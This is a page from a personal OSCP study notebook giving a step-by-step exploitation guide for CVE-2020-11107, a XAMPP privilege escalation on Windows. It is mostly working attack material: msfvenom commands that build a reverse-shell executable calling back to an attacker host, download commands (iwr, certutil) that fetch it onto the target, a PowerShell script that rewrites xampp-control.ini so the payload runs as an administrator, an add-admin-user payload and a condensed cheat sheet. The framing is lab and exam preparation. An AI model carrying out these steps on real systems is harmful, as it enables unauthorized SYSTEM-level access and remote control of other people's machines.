Pearson's OSCP Notebook

XAMPP - CVE-2020-11107 Privilege Escalation

Properties1
tagsxampp, cve-2020-11107, windows, privilege-escalation, searchsploit, edb-50337, msfvenom, control-panel, oscp

4 min read

XAMPP — CVE-2020-11107 Privilege Escalation

Ctrl+F: xampp · properties.ini · xampp-control.ini · notepad.exe · EDB-50337 · SYSTEM

CVE-2020-11107 — local privilege escalation in Apache Friends XAMPP on Windows. A low-priv user can edit C:\xampp\xampp-control.ini and replace the Control Panel editor path (notepad.exe) with a malicious executable. When another user (e.g. Administrator) opens a log file from the XAMPP Control Panel, your binary runs with their privileges.

Affected: XAMPP before 7.2.29 · 7.3.x before 7.3.16 · 7.4.x before 7.4.4

External: Exploit-DB 50337 · CVE-2020-11107 · S1lkys PoC · Mohnad-AL-saif walkthrough

→ searchsploit · Exploit-DB and searchsploit · Windows PrivEsc · cmd.exe - Shells and One-Liners

📌 Detect XAMPP & version

dir C:\xampp
type C:\xampp\properties.ini
findstr /i version C:\xampp\properties.ini

Lab example:

# C:\xampp\properties.ini
[General]
installdir=C:\xampp
version=7.3.10

7.3.10 < 7.3.16 → vulnerable.

Also check:

icacls C:\xampp\xampp-control.ini
dir C:\xampp\xampp-control.*
FileRole
C:\xampp\properties.iniInstall dir + version string
C:\xampp\xampp-control.iniEditor/browser paths — writable = exploitable
C:\xampp\xampp-control.exeControl Panel GUI

Note: CVE text sometimes spells the file xampp-contol.ini (typo). On disk it is usually xampp-control.ini.

📌 searchsploit / Exploit-DB

searchsploit xampp
searchsploit --cve CVE-2020-11107
searchsploit -x 50337
searchsploit -m 50337
IDURLLocal path
50337https://www.exploit-db.com/exploits/50337/usr/share/exploitdb/exploits/windows/local/50337.ps1

Relationship explained → Exploit-DB and searchsploit

WinPEAS / manual enum may flag writable xampp-control.ini.

📌 Attack flow

Low-priv user
  → edit xampp-control.ini (replace Editor=notepad.exe with shell.exe path)
  → Victim (admin) opens XAMPP Control Panel → clicks View Log
  → shell.exe runs as victim → reverse shell (often SYSTEM / admin on lab boxes)

On OSCP-style labs you may trigger the Control Panel yourself after replacing the editor, or wait for a scheduled admin action.

📌 Full OSCP workflow (lab-tested pattern)

1 — Attacker: listener + HTTP serve

rlwrap nc -lnvp 80
 
msfvenom -p windows/shell_reverse_tcp LHOST=KALI_IP LPORT=80 -f exe -o shell.exe
 
python3 -m http.server 80
# Port busy? → [[Port in Use - kill listener]]
#   sudo fuser -k 80/tcp

2 — Target: download payload

iwr -uri http://KALI_IP:80/shell.exe -Outfile shell.exe
# or
certutil -urlcache -split -f http://KALI_IP:80/shell.exe C:\Users\Public\shell.exe

→ File Transfer · Msfvenom

3 — Replace editor in xampp-control.ini

Manual: open C:\xampp\xampp-control.ini, change Editor value from notepad.exe to full path of your shell:

[Common]
Editor=C:\Users\Public\shell.exe

PoC script (from EDB-50337 / exploit writeups):

# After: searchsploit -m 50337
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
$replace = "C:\Users\Public\shell.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file

Or run mirrored exploit:

powershell -ExecutionPolicy Bypass -File .\50337.ps1

Verify change:

type C:\xampp\xampp-control.ini
findstr /i editor C:\xampp\xampp-control.ini

4 — Trigger execution

Classic CVE: victim admin runs Control Panel and opens any log:

C:\xampp\xampp-control.exe

Click Logs → View (any log file) → malicious editor executes.

Lab shortcut: if you control the session, launch Control Panel and open a log yourself after ini swap.

5 — Catch shell on Kali

nt authority\system

or local admin — depends on who triggered the log view and how XAMPP service is configured.

📌 Alternative payloads

# x64 explicit
msfvenom -p windows/x64/shell_reverse_tcp LHOST=KALI LPORT=4444 -f exe -o shell.exe
 
# Add admin user (batch — for Qualys-style PoC)
# evil.bat: net localgroup administrators user1 /add
cmd /c C:\Users\Public\shell.exe

→ cmd.exe - Shells and One-Liners

📌 Why it works

MisconfigurationImpact
xampp-control.ini world-writableAny user changes editor path
Editor path = executableNot validated — runs on log open
Config is globalChange affects all Control Panel users
Admin opens logs routinelyReliable trigger

📌 Troubleshooting

ProblemFix
Version patchedUpgrade paths — try other privesc → Windows PrivEsc
ini not writableWrong vector — check Potato Attacks, services
No callbackWrong KALI_IP · firewall · try port 443/4444
Port 80 in use on KaliPort in Use - kill listener — sudo fuser -k 80/tcp
PowerShell blocked-ExecutionPolicy Bypass · manual ini edit with type/echo
Log click doesn’t fireConfirm Editor= path · run xampp-control.exe as admin user

📌 Related XAMPP enum (foothold, not privesc)

XAMPP often means local web stack — check during initial access:

type C:\xampp\htdocs\config.php
dir C:\xampp\mysql\data
dir C:\xampp\apache\logs

→ Local File Inclusion (LFI) · MySQL · type

📌 Quick cheat sheet

searchsploit xampp
searchsploit -m 50337
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=80 -f exe -o shell.exe
rlwrap nc -lnvp 80
python3 -m http.server 80
type C:\xampp\properties.ini
iwr -uri http://KALI:80/shell.exe -Outfile shell.exe
powershell -ExecutionPolicy Bypass -File 50337.ps1
C:\xampp\xampp-control.exe

📌 Alias check (Linux/bash)

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

→ Linux > 📌 1) Basic Manual Enumeration

Graph View

Backlinks